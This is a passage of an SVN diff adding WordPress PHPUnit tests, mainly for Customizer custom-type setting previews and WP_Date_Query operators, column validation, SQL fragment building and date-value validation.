+		} else if ( array_key_exists( $name, $this->custom_type_data_saved ) ) {
+			$value = $this->custom_type_data_saved[ $name ];
+		} else {
+			$value = $default;
+		}
+		return $value;
+	}
+
+	function custom_type_setter( $name, $value ) {
+		$this->custom_type_data_saved[ $name ] = $value;
+	}
+
+	function custom_type_value_filter( $default ) {
+		$name = preg_replace( '/^customize_value_/', '', current_filter() );
+		return $this->custom_type_getter( $name, $default );
+	}
+
+	/**
+	 * @param WP_Customize_Setting $setting
+	 */
+	function custom_type_preview( $setting ) {
+		$previewed_value = $setting->post_value( $this->undefined );
+		if ( $this->undefined !== $previewed_value ) {
+			$this->custom_type_data_previewed[ $setting->id ] = $previewed_value;
+		}
+	}
+
+	function test_preview_custom_type() {
+		$type = 'custom_type';
+		$post_data_overrides = array(
+			"unset_{$type}_with_post_value" => "unset_{$type}_without_post_value",
+			"set_{$type}_with_post_value" => "set_{$type}_without_post_value",
+		);
+		$_POST['customized'] = wp_slash( wp_json_encode( $post_data_overrides ) );
+
+		$this->custom_type_data_saved = array();
+		$this->custom_type_data_previewed = array();
+
+		add_action( "customize_preview_{$type}", array( $this, 'custom_type_preview' ) );
+
+		// Custom type not existing and no post value override
+		$name = "unset_{$type}_without_post_value";
+		$default = "default_value_{$name}";
+		$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+		// Note: #29316 will allow us to have one filter for all settings of a given type, which is what we need
+		add_filter( "customize_value_{$name}", array( $this, 'custom_type_value_filter' ) );
+		$this->assertEquals( $this->undefined, $this->custom_type_getter( $name, $this->undefined ) );
+		$this->assertEquals( $default, $setting->value() );
+		$setting->preview();
+		$this->assertEquals( 1, did_action( "customize_preview_{$setting->id}" ) );
+		$this->assertEquals( 1, did_action( "customize_preview_{$setting->type}" ) );
+		$this->assertEquals( $this->undefined, $this->custom_type_getter( $name, $this->undefined ) ); // Note: for a non-custom type this is $default
+		$this->assertEquals( $default, $setting->value() ); // should be same as above
+
+		// Custom type existing and no post value override
+		$name = "set_{$type}_without_post_value";
+		$default = "default_value_{$name}";
+		$initial_value = "initial_value_{$name}";
+		$this->custom_type_setter( $name, $initial_value );
+		$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+		// Note: #29316 will allow us to have one filter for all settings of a given type, which is what we need
+		add_filter( "customize_value_{$name}", array( $this, 'custom_type_value_filter' ) );
+		$this->assertEquals( $initial_value, $this->custom_type_getter( $name, $this->undefined ) );
+		$this->assertEquals( $initial_value, $setting->value() );
+		$setting->preview();
+		$this->assertEquals( 1, did_action( "customize_preview_{$setting->id}" ) );
+		$this->assertEquals( 2, did_action( "customize_preview_{$setting->type}" ) );
+		$this->assertEquals( $initial_value, $this->custom_type_getter( $name, $this->undefined ) ); // should be same as above
+		$this->assertEquals( $initial_value, $setting->value() ); // should be same as above
+
+		// Custom type not existing and with a post value override
+		$name = "unset_{$type}_with_post_value";
+		$default = "default_value_{$name}";
+		$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+		// Note: #29316 will allow us to have one filter for all settings of a given type, which is what we need
+		add_filter( "customize_value_{$name}", array( $this, 'custom_type_value_filter' ) );
+		$this->assertEquals( $this->undefined, $this->custom_type_getter( $name, $this->undefined ) );
+		$this->assertEquals( $default, $setting->value() );
+		$setting->preview();
+		$this->assertEquals( 1, did_action( "customize_preview_{$setting->id}" ) );
+		$this->assertEquals( 3, did_action( "customize_preview_{$setting->type}" ) );
+		$this->assertEquals( $post_data_overrides[ $name ], $this->custom_type_getter( $name, $this->undefined ) );
+		$this->assertEquals( $post_data_overrides[ $name ], $setting->value() );
+
+		// Custom type not existing and with a post value override
+		$name = "set_{$type}_with_post_value";
+		$default = "default_value_{$name}";
+		$initial_value = "initial_value_{$name}";
+		$this->custom_type_setter( $name, $initial_value );
+		$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+		// Note: #29316 will allow us to have one filter for all settings of a given type, which is what we need
+		add_filter( "customize_value_{$name}", array( $this, 'custom_type_value_filter' ) );
+		$this->assertEquals( $initial_value, $this->custom_type_getter( $name, $this->undefined ) );
+		$this->assertEquals( $initial_value, $setting->value() );
+		$setting->preview();
+		$this->assertEquals( 1, did_action( "customize_preview_{$setting->id}" ) );
+		$this->assertEquals( 4, did_action( "customize_preview_{$setting->type}" ) );
+		$this->assertEquals( $post_data_overrides[ $name ], $this->custom_type_getter( $name, $this->undefined ) );
+		$this->assertEquals( $post_data_overrides[ $name ], $setting->value() );
+
+		unset( $this->custom_type_data_previewed, $this->custom_type_data_saved );
+	}
+
+	/**
+	 * Test specific fix for setting's default value not applying on preview window
+	 *
+	 * @ticket 30988
+	 */
+	function test_non_posted_setting_applying_default_value_in_preview() {
+		$type = 'option';
+		$name = 'unset_option_without_post_value';
+		$default = "default_value_{$name}";
+		$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+		$this->assertEquals( $this->undefined, get_option( $name, $this->undefined ) );
+		$this->assertEquals( $default, $setting->value() );
+		$setting->preview();
+		$this->assertEquals( $default, get_option( $name, $this->undefined ), sprintf( 'Expected get_option(%s) to return setting default: %s.', $name, $default ) );
+		$this->assertEquals( $default, $setting->value() );
+	}
+}
+
Index: /tags/4.1.6/tests/phpunit/tests/date/query.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/date/query.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/date/query.php	(revision 33402)
@@ -0,0 +1,1031 @@
+<?php
+
+/**
+ * Tests for public methods of WP_Date_Query.
+ *
+ * See query/dateQuery.php for tests that require WP_Query.
+ *
+ * @group datequery
+ * @group date
+ */
+class Tests_WP_Date_Query extends WP_UnitTestCase {
+	public $q;
+
+	public function setUp() {
+		parent::setUp();
+		unset( $this->q );
+		$this->q = new WP_Date_Query( array( 'm' => 2 ) );
+	}
+
+	public function test_construct_date_query_empty() {
+		$q = new WP_Date_Query( array() );
+		$this->assertSame( 'AND', $q->relation );
+		$this->assertSame( 'post_date', $q->column );
+		$this->assertSame( '=', $q->compare );
+		$this->assertSame( array(), $q->queries );
+	}
+
+	public function test_construct_date_query_non_array() {
+		$q = new WP_Date_Query( 'foo' );
+		$this->assertSame( 'AND', $q->relation );
+		$this->assertSame( 'post_date', $q->column );
+		$this->assertSame( '=', $q->compare );
+		$this->assertSame( array(), $q->queries );
+	}
+
+	public function test_construct_relation_or_lowercase() {
+		$q = new WP_Date_Query( array(
+			'relation' => 'or',
+		) );
+
+		$this->assertSame( 'OR', $q->relation );
+	}
+
+	public function test_construct_relation_invalid() {
+		$q = new WP_Date_Query( array(
+			'relation' => 'foo',
+		) );
+
+		$this->assertSame( 'AND', $q->relation );
+	}
+
+	public function test_construct_query_not_an_array_of_arrays() {
+		$q = new WP_Date_Query( array(
+			'before' => array(
+				'year' => 2008,
+				'month' => 6,
+			),
+		) );
+
+		$expected = array(
+			0 => array(
+				'before' => array(
+					'year' => 2008,
+					'month' => 6,
+				),
+				'column' => 'post_date',
+				'compare' => '=',
+				'relation' => 'AND',
+			),
+			'column' => 'post_date',
+			'compare' => '=',
+			'relation' => 'AND',
+		);
+
+		$this->assertSame( $expected, $q->queries );
+	}
+
+	public function test_construct_query_contains_non_arrays() {
+		$q = new WP_Date_Query( array(
+			'foo',
+			'bar',
+			array(
+				'before' => array(
+					'year' => 2008,
+					'month' => 6,
+				),
+			),
+		) );
+
+		$expected = array(
+			array(
+				'before' => array(
+					'year' => 2008,
+					'month' => 6,
+				),
+				'column' => 'post_date',
+				'compare' => '=',
+				'relation' => 'AND',
+			),
+			'column' => 'post_date',
+			'compare' => '=',
+			'relation' => 'AND',
+		);
+
+		$this->assertEquals( $expected, $q->queries );
+	}
+
+	public function test_get_compare_empty() {
+		$q = new WP_Date_Query( array() );
+		$this->assertSame( '=', $q->get_compare( array() ) );
+	}
+
+	public function test_get_compare_equals() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->get_compare( array(
+			'compare' => '=',
+		) );
+		$this->assertSame( '=', $found );
+	}
+
+	public function test_get_compare_not_equals() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->get_compare( array(
+			'compare' => '!=',
+		) );
+		$this->assertSame( '!=', $found );
+	}
+
+	public function test_get_compare_greater_than() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->get_compare( array(
+			'compare' => '>',
+		) );
+		$this->assertSame( '>', $found );
+	}
+
+	public function test_get_compare_greater_than_or_equal_to() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->get_compare( array(
+			'compare' => '>=',
+		) );
+		$this->assertSame( '>=', $found );
+	}
+
+	public function test_get_compare_less_than() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->get_compare( array(
+			'compare' => '<',
+		) );
+		$this->assertSame( '<', $found );
+	}
+
+	public function test_get_compare_less_than_or_equal_to() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->get_compare( array(
+			'compare' => '<=',
+		) );
+		$this->assertSame( '<=', $found );
+	}
+
+	public function test_get_compare_in() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->get_compare( array(
+			'compare' => 'IN',
+		) );
+		$this->assertSame( 'IN', $found );
+	}
+
+	public function test_get_compare_not_in() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->get_compare( array(
+			'compare' => 'NOT IN',
+		) );
+		$this->assertSame( 'NOT IN', $found );
+	}
+
+	public function test_get_compare_between() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->get_compare( array(
+			'compare' => 'BETWEEN',
+		) );
+		$this->assertSame( 'BETWEEN', $found );
+	}
+
+	public function test_get_compare_not_between() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->get_compare( array(
+			'compare' => 'BETWEEN',
+		) );
+		$this->assertSame( 'BETWEEN', $found );
+	}
+
+	public function test_validate_column_post_date() {
+		global $wpdb;
+		$q = new WP_Date_Query( array() );
+
+		$this->assertSame( $wpdb->posts . '.post_date', $q->validate_column( 'post_date' ) );
+	}
+
+	public function test_validate_column_post_date_gmt() {
+		global $wpdb;
+		$q = new WP_Date_Query( array() );
+
+		$this->assertSame( $wpdb->posts . '.post_date_gmt', $q->validate_column( 'post_date_gmt' ) );
+	}
+
+	public function test_validate_column_post_modified() {
+		global $wpdb;
+		$q = new WP_Date_Query( array() );
+
+		$this->assertSame( $wpdb->posts . '.post_modified', $q->validate_column( 'post_modified' ) );
+	}
+
+	public function test_validate_column_post_modified_gmt() {
+		global $wpdb;
+		$q = new WP_Date_Query( array() );
+
+		$this->assertSame( $wpdb->posts . '.post_modified_gmt', $q->validate_column( 'post_modified_gmt' ) );
+	}
+
+	public function test_validate_column_comment_date() {
+		global $wpdb;
+		$q = new WP_Date_Query( array() );
+
+		$this->assertSame( $wpdb->comments . '.comment_date', $q->validate_column( 'comment_date' ) );
+	}
+
+	public function test_validate_column_comment_date_gmt() {
+		global $wpdb;
+		$q = new WP_Date_Query( array() );
+
+		$this->assertSame( $wpdb->comments . '.comment_date_gmt', $q->validate_column( 'comment_date_gmt' ) );
+	}
+
+	public function test_validate_column_invalid() {
+		global $wpdb;
+		$q = new WP_Date_Query( array() );
+
+		$this->assertSame( $wpdb->posts . '.post_date', $q->validate_column( 'foo' ) );
+	}
+
+	/**
+	 * @ticket 25775
+	 */
+	public function test_validate_column_with_date_query_valid_columns_filter() {
+		$q = new WP_Date_Query( array() );
+
+		add_filter( 'date_query_valid_columns', array( $this, 'date_query_valid_columns_callback' ) );
+
+		$this->assertSame( 'my_custom_column', $q->validate_column( 'my_custom_column' ) );
+
+		remove_filter( 'date_query_valid_columns', array( $this, 'date_query_valid_columns_callback' ) );
+	}
+
+	/**
+	 * @ticket 25775
+	 */
+	public function test_validate_column_prefixed_column_name() {
+		$q = new WP_Date_Query( array() );
+
+		$this->assertSame( 'foo.bar', $q->validate_column( 'foo.bar' ) );
+	}
+
+	/**
+	 * @ticket 25775
+	 */
+	public function test_validate_column_prefixed_column_name_with_illegal_characters() {
+		$q = new WP_Date_Query( array() );
+
+		$this->assertSame( 'foo.bar', $q->validate_column( 'f"\'oo\/.b;:()ar' ) );
+	}
+
+	public function test_build_value_value_null() {
+		global $wpdb;
+		$q = new WP_Date_Query( array() );
+
+		$this->assertFalse( $q->build_value( 'foo', null ) );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_in() {
+		$q = new WP_Date_Query( array() );
+
+		// Single integer
+		$found = $q->build_value( 'IN', 4 );
+		$this->assertSame( '(4)', $found );
+
+		// Single non-integer
+		$found = $q->build_value( 'IN', 'foo' );
+		$this->assertFalse( $found );
+
+		// Array of integers
+		$found = $q->build_value( 'IN', array( 1, 4, 7 ) );
+		$this->assertSame( '(1,4,7)', $found );
+
+		// Array containing non-integers
+		$found = $q->build_value( 'IN', array( 1, 'foo', 7 ) );
+		$this->assertSame( '(1,7)', $found );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_not_in() {
+		$q = new WP_Date_Query( array() );
+
+		// Single integer
+		$found = $q->build_value( 'NOT IN', 4 );
+		$this->assertSame( '(4)', $found );
+
+		// Single non-integer
+		$found = $q->build_value( 'NOT IN', 'foo' );
+		$this->assertFalse( $found );
+
+		// Array of integers
+		$found = $q->build_value( 'NOT IN', array( 1, 4, 7 ) );
+		$this->assertSame( '(1,4,7)', $found );
+
+		// Array containing non-integers
+		$found = $q->build_value( 'NOT IN', array( 1, 'foo', 7 ) );
+		$this->assertSame( '(1,7)', $found );
+	}
+
+	public function test_build_value_compare_between_single_integer() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'BETWEEN', 4 );
+		$this->assertSame( '4 AND 4', $found );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_between_single_non_numeric() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'BETWEEN', 'foo' );
+		$this->assertFalse( $found );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_between_array_with_other_than_two_items() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'BETWEEN', array( 2, 3, 4 ) );
+		$this->assertFalse( $found );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_between_incorrect_array_key() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'BETWEEN', array(
+			2 => 4,
+			3 => 5,
+		) );
+
+		$this->assertSame( '4 AND 5', $found );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_between_array_contains_non_numeric() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'BETWEEN', array( 2, 'foo' ) );
+		$this->assertFalse( $found );
+	}
+
+	public function test_build_value_compare_between() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'BETWEEN', array( 2, 3 ) );
+		$this->assertSame( '2 AND 3', $found );
+	}
+
+	public function test_build_value_compare_not_between_single_integer() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'NOT BETWEEN', 4 );
+		$this->assertSame( '4 AND 4', $found );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_not_between_single_non_numeric() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'NOT BETWEEN', 'foo' );
+		$this->assertFalse( $found );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_not_between_array_with_other_than_two_items() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'NOT BETWEEN', array( 2, 3, 4 ) );
+		$this->assertFalse( $found );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_not_between_incorrect_array_key() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'NOT BETWEEN', array(
+			2 => 4,
+			3 => 5,
+		) );
+
+		$this->assertSame( '4 AND 5', $found );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_not_between_array_contains_non_numeric() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'NOT BETWEEN', array( 2, 'foo' ) );
+		$this->assertFalse( $found );
+	}
+
+	public function test_build_value_compare_not_between() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'NOT BETWEEN', array( 2, 3 ) );
+		$this->assertSame( '2 AND 3', $found );
+	}
+
+	public function test_build_value_compare_default_value_integer() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'foo', 5 );
+		$this->assertSame( 5, $found );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_default_value_non_numeric() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'foo', 'foo' );
+		$this->assertFalse( $found );
+	}
+
+	public function test_build_mysql_datetime_datetime_non_array() {
+		$q = new WP_Date_Query( array() );
+
+		// This might be a fragile test if it takes longer than 1 second to run
+		$found = $q->build_mysql_datetime( 'foo' );
+		$expected = gmdate( 'Y-m-d H:i:s', false );
+		$this->assertSame( $expected, $found );
+	}
+
+	public function test_build_mysql_datetime_default_to_max_true() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_mysql_datetime( array(
+			'year' => 2011,
+		), true );
+		$this->assertSame( '2011-12-31 23:59:59', $found );
+	}
+
+	public function test_build_mysql_datetime_default_to_max_false() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_mysql_datetime( array(
+			'year' => 2011,
+		), false );
+		$this->assertSame( '2011-01-01 00:00:00', $found );
+	}
+
+	public function test_build_mysql_datetime_default_to_max_default_to_false() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_mysql_datetime( array(
+			'year' => 2011,
+		), false );
+		$this->assertSame( '2011-01-01 00:00:00', $found );
+	}
+
+	public function test_build_time_query_insufficient_time_values() {
+		$q = new WP_Date_Query( array() );
+
+		$this->assertFalse( $q->build_time_query( 'post_date', '=' ) );
+	}
+
+	public function test_build_time_query_compare_in() {
+		$q = new WP_Date_Query( array() );
+
+		// Just hour
+		$found = $q->build_time_query( 'post_date', 'IN', array( 1, 2 ) );
+		$this->assertSame( 'HOUR( post_date ) IN (1,2)', $found );
+
+		// Skip minute
+		$found = $q->build_time_query( 'post_date', 'IN', array( 1, 2 ), null, 6 );
+		$this->assertSame( 'HOUR( post_date ) IN (1,2) AND SECOND( post_date ) IN (6)', $found );
+
+		// All three
+		$found = $q->build_time_query( 'post_date', 'IN', array( 1, 2 ), array( 3, 4, 5 ), 6 );
+		$this->assertSame( 'HOUR( post_date ) IN (1,2) AND MINUTE( post_date ) IN (3,4,5) AND SECOND( post_date ) IN (6)', $found );
+	}
+
+	public function test_build_time_query_compare_not_in() {
+		$q = new WP_Date_Query( array() );
+
+		// Just hour
+		$found = $q->build_time_query( 'post_date', 'NOT IN', array( 1, 2 ) );
+		$this->assertSame( 'HOUR( post_date ) NOT IN (1,2)', $found );
+
+		// Skip minute
+		$found = $q->build_time_query( 'post_date', 'NOT IN', array( 1, 2 ), null, 6 );
+		$this->assertSame( 'HOUR( post_date ) NOT IN (1,2) AND SECOND( post_date ) NOT IN (6)', $found );
+
+		// All three
+		$found = $q->build_time_query( 'post_date', 'NOT IN', array( 1, 2 ), array( 3, 4, 5 ), 6 );
+		$this->assertSame( 'HOUR( post_date ) NOT IN (1,2) AND MINUTE( post_date ) NOT IN (3,4,5) AND SECOND( post_date ) NOT IN (6)', $found );
+	}
+
+	public function test_build_time_query_compare_between() {
+		$q = new WP_Date_Query( array() );
+
+		// Just hour
+		$found = $q->build_time_query( 'post_date', 'BETWEEN', array( 1, 2 ) );
+		$this->assertSame( 'HOUR( post_date ) BETWEEN 1 AND 2', $found );
+
+		// Skip minute
+		$found = $q->build_time_query( 'post_date', 'BETWEEN', array( 1, 2 ), null, array( 6, 7 ) );
+		$this->assertSame( 'HOUR( post_date ) BETWEEN 1 AND 2 AND SECOND( post_date ) BETWEEN 6 AND 7', $found );
+
+		// All three
+		$found = $q->build_time_query( 'post_date', 'BETWEEN', array( 1, 2 ), array( 3, 4 ), array( 6, 7 ) );
+		$this->assertSame( 'HOUR( post_date ) BETWEEN 1 AND 2 AND MINUTE( post_date ) BETWEEN 3 AND 4 AND SECOND( post_date ) BETWEEN 6 AND 7', $found );
+	}
+
+	public function test_build_time_query_compare_not_between() {
+		$q = new WP_Date_Query( array() );
+
+		// Just hour
+		$found = $q->build_time_query( 'post_date', 'NOT BETWEEN', array( 1, 2 ) );
+		$this->assertSame( 'HOUR( post_date ) NOT BETWEEN 1 AND 2', $found );
+
+		// Skip minute
+		$found = $q->build_time_query( 'post_date', 'NOT BETWEEN', array( 1, 2 ), null, array( 6, 7 ) );
+		$this->assertSame( 'HOUR( post_date ) NOT BETWEEN 1 AND 2 AND SECOND( post_date ) NOT BETWEEN 6 AND 7', $found );
+
+		// All three
+		$found = $q->build_time_query( 'post_date', 'NOT BETWEEN', array( 1, 2 ), array( 3, 4 ), array( 6, 7 ) );
+		$this->assertSame( 'HOUR( post_date ) NOT BETWEEN 1 AND 2 AND MINUTE( post_date ) NOT BETWEEN 3 AND 4 AND SECOND( post_date ) NOT BETWEEN 6 AND 7', $found );
+	}
+
+	public function test_build_time_query_hour_only() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_time_query( 'post_date', '=', 5 );
+		$this->assertSame( 'HOUR( post_date ) = 5', $found );
+	}
+
+	public function test_build_time_query_minute_only() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_time_query( 'post_date', '=', null, 5 );
+		$this->assertSame( 'MINUTE( post_date ) = 5', $found );
+	}
+
+	public function test_build_time_query_second_only() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_time_query( 'post_date', '=', null, null, 5 );
+		$this->assertSame( 'SECOND( post_date ) = 5', $found );
+	}
+
+	public function test_build_time_query_hour_and_second() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_time_query( 'post_date', '=', 5, null, 5 );
+		$this->assertFalse( $found );
+	}
+
+	public function test_build_time_query_hour_minute() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_time_query( 'post_date', '=', 5, 15 );
+
+		// $compare value is floating point - use regex to account for
+		// varying precision on different PHP installations
+		$this->assertRegExp( "/DATE_FORMAT\( post_date, '%H\.%i' \) = 5\.150*/", $found );
+	}
+
+	public function test_build_time_query_hour_minute_second() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_time_query( 'post_date', '=', 5, 15, 35 );
+
+		// $compare value is floating point - use regex to account for
+		// varying precision on different PHP installations
+		$this->assertRegExp( "/DATE_FORMAT\( post_date, '%H\.%i%s' \) = 5\.15350*/", $found );
+	}
+
+	public function test_build_time_query_minute_second() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_time_query( 'post_date', '=', null, 15, 35 );
+
+		// $compare value is floating point - use regex to account for
+		// varying precision on different PHP installations
+		$this->assertRegExp( "/DATE_FORMAT\( post_date, '0\.%i%s' \) = 0\.15350*/", $found );
+	}
+
+	/**
+	 * @ticket 25834
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_query_before_after(){
+		// Valid values.
+		$valid_args = array(
+			array(
+				'month' => 2,
+				'year'  => 2014,
+			),
+			array(
+				'day'  => 8,
+				'year' => 2014,
+			),
+		);
+
+		foreach ( $valid_args as $args ) {
+			$this->assertTrue( $this->q->validate_date_values( array( 'before' => $args ) ) );
+			$this->assertTrue( $this->q->validate_date_values( array( 'after' => $args ) ) );
+		}
+
+		// Invalid values.
+		$invalid_args = array(
+			array(
+				'month' => 13,
+			),
+			array(
+				'day' => 32,
+			),
+			array(
+				'minute' => 60,
+			),
+			array(
+				'second' => 60,
+			),
+			array(
+				'week' => 54,
+			),
+		);
+
+		foreach ( $invalid_args as $args ) {
+			$this->assertFalse( $this->q->validate_date_values( array( 'before' => $args ) ) );
+			$this->assertFalse( $this->q->validate_date_values( array( 'after' => $args ) ) );
+		}
+	}
+
+	/**
+	 * @ticket 25834
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_query_before_after_with_month(){
+		// Both are valid.
+		$args = array(
+			'before' => array(
+				'month' => 2,
+				'year'  => 2014,
+			),
+			'month' => 10,
+		);
+		$this->assertTrue( $this->q->validate_date_values( $args ) );
+
+		// 'before' is invalid, 'month' is valid.
+		$args = array(
+			'before' => array(
+				'month' => 13,
+				'year'  => 2014,
+			),
+			'month' => 10,
+		);
+		$this->assertFalse( $this->q->validate_date_values( $args ) );
+
+		// 'before' is valid, 'month' is invalid.
+		$args = array(
+			'before' => array(
+				'month' => 10,
+				'year'  => 2014,
+			),
+			'month' => 14,
+		);
+		$this->assertFalse( $this->q->validate_date_values( $args ) );
+
+		// Both are invalid.
+		$args = array(
+			'before' => array(
+				'month' => 14,
+				'year'  => 2014,
+			),
+			'month' => 14,
+		);
+		$this->assertFalse( $this->q->validate_date_values( $args ) );
+	}
+
+	/**
+	 * @ticket 25834
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_values_week() {
+		// Valid values.
+		$weeks = range( 1, 53 );
+		foreach ( $weeks as $week ) {
+			$this->assertTrue( $this->q->validate_date_values( array( 'week' => $week ) ) );
+		}
+
+		// Invalid values.
+		$weeks = array( -1, 0, 54 );
+		foreach ( $weeks as $week ) {
+			$this->assertFalse( $this->q->validate_date_values( array( 'week' => $week ) ) );
+		}
+
+		// Valid combinations.
+		$weeks = array(
+			array(
+				'week' => 52,
+				'year' => 2012,
+			),
+			array(
+				'week' => 53,
+				'year' => 2009,
+			),
+		);
+
+		foreach ( $weeks as $week_args ) {
+			$this->assertTrue( $this->q->validate_date_values( $week_args ) );
+		}
+
+		// Invalid combinations.
+		$weeks = array(
+			// 2012 has 52 weeks.
+			array(
+				'week' => 53,
+				'year' => 2012,
+			),
+
+			// 2013 has 53 weeks.
+			array(
+				'week' => 54,
+				'year' => 2009,
+			)
+		);
+
+		foreach ( $weeks as $week_args ) {
+			$this->assertFalse( $this->q->validate_date_values( $week_args ) );
+		}
+	}
+
+	/**
+	 * @ticket 25834
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_values_month() {
+		// Valid values.
+		$months = range( 1, 12 );
+		foreach ( $months as $month ) {
+			$this->assertTrue( $this->q->validate_date_values( array( 'month' => $month ) ) );
+		}
+
+		// Invalid values.
+		$months = array( -1, 0, 13, 'string who wants to be a int' );
+		foreach ( $months as $month ) {
+			$this->assertFalse( $this->q->validate_date_values( array( 'month' => $month ) ) );
+		}
+	}
+
+	/**
+	 * @ticket 25834
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_values_day() {
+		// Valid values.
+		$days = range( 1, 31 );
+		foreach ( $days as $day ) {
+			$this->assertTrue( $this->q->validate_date_values( array( 'day' => $day ) ) );
+		}
+
+		// Invalid values.
+		$days = array( -1, 32 );
+		foreach ( $days as $day ) {
+			$this->assertFalse( $this->q->validate_date_values( array( 'day' => $day ) ) );
+		}
+
+		// Valid combinations.
+		$days = array(
+			array(
+				'day'   => 29,
+				'month' => 2,
+				'year'  => 2008,
+			),
+			array(
+				'day'   => 28,
+				'month' => 2,
+				'year'  => 2009,
+			),
+		);
+
+		foreach ( $days as $args ) {
+			$this->assertTrue( $this->q->validate_date_values( $args ) );
+		}
+
+		// Invalid combinations.
+		$days = array(
+			// February 2008 has 29 days.
+			array(
+				'day'   => 30,
+				'month' => 2,
+				'year'  => 2008,
+			),
+
+			// February 2009 has 29 days.
+			array(
+				'day'   => 29,
+				'month' => 2,
+				'year'  => 2009,
+			),
+		);
+
+		foreach ( $days as $args ) {
+			$this->assertFalse( $this->q->validate_date_values( $args ) );
+		}
+	}
+
+	/**
+	 * @ticket 25834
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_values_hour() {
+		// Valid values.
+		$hours = range( 0, 23 );
+		foreach ( $hours as $hour ) {
+			$this->assertTrue( $this->q->validate_date_values( array( 'hour' => $hour ) ) );
+		}
+
+		// Invalid values.
+		$hours = array( -1, 24, 25, 'string' );
+		foreach ( $hours as $hour ) {
+			$this->assertFalse( $this->q->validate_date_values( array( 'hour' => $hour ) ) );
+		}
+	}
+
+	/**
+	 * @ticket 25834
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_values_minute() {
+		// Valid values.
+		$minutes = range( 0, 59 );
+		foreach ( $minutes as $minute ) {
+			$this->assertTrue( $this->q->validate_date_values( array( 'minute' => $minute ) ) );
+		}
+
+		// Invalid values.
+		$minutes = array( -1, 60 );
+		foreach ( $minutes as $minute ) {
+			$this->assertFalse( $this->q->validate_date_values( array( 'minute' => $minute ) ) );
+		}
+	}
+
+	/**
+	 * @ticket 25834
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_values_second() {
+		// Valid values.
+		$seconds = range( 0, 59 );
+		foreach ( $seconds as $second ) {
+			$this->assertTrue( $this->q->validate_date_values( array( 'second' => $second ) ) );
+		}
+
+		// Invalid values.
+		$seconds = array( -1, 60 );
+		foreach ( $seconds as $second ) {
+			$this->assertFalse( $this->q->validate_date_values( array( 'second' => $second ) ) );
+		}
+
+	}
+
+	/**
+	 * @ticket 25834
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_values_day_of_week() {
+		// Valid values.
+		$days_of_week = range( 1, 7 );
+		foreach ( $days_of_week as $day_of_week ) {
+			$this->assertTrue( $this->q->validate_date_values( array( 'dayofweek' => $day_of_week ) ) );
+		}
+
+		// Invalid values.
+		$days_of_week = array( -1, 0, 8 );
